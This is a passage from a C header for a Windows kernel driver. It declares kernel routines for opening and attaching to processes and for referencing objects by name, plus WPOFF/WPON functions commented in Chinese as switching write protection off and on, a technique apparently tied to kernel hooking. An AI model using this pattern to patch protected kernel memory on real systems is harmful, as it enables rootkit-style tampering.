OUT PHANDLE ProcessHandle,  
IN ACCESS\_MASK DesiredAccess,  
IN POBJECT\_ATTRIBUTES ObjectAttributes,  
IN PCLIENT\_ID ClientId  
);

NTSTATUS  
PsLookupProcessByProcessId(  
IN HANDLE ProcessId,  
OUT PEPROCESS \*Process  
);

HANDLE  
PsGetProcessId(  
IN PEPROCESS Process  
);

NTSTATUS  
RtlFormatCurrentUserKeyPath(  
OUT PUNICODE\_STRING CurrentUserKeyPath  
);

VOID KeAttachProcess( PEPROCESS proc );  
VOID KeDetachProcess();

NTSTATUS  
ObReferenceObjectByName(  
IN PUNICODE\_STRING ObjectName,  
IN ULONG Attributes,  
IN PACCESS\_STATE PassedAccessState OPTIONAL,  
IN ACCESS\_MASK DesiredAccess OPTIONAL,  
IN POBJECT\_TYPE ObjectType,  
IN KPROCESSOR\_MODE AccessMode,  
IN OUT PVOID ParseContext OPTIONAL,  
OUT PVOID \*Object  
);

//////////////////////////////////////////////////////////////////////////

// 写保护的开&关  
void WPOFF();  
void WPON();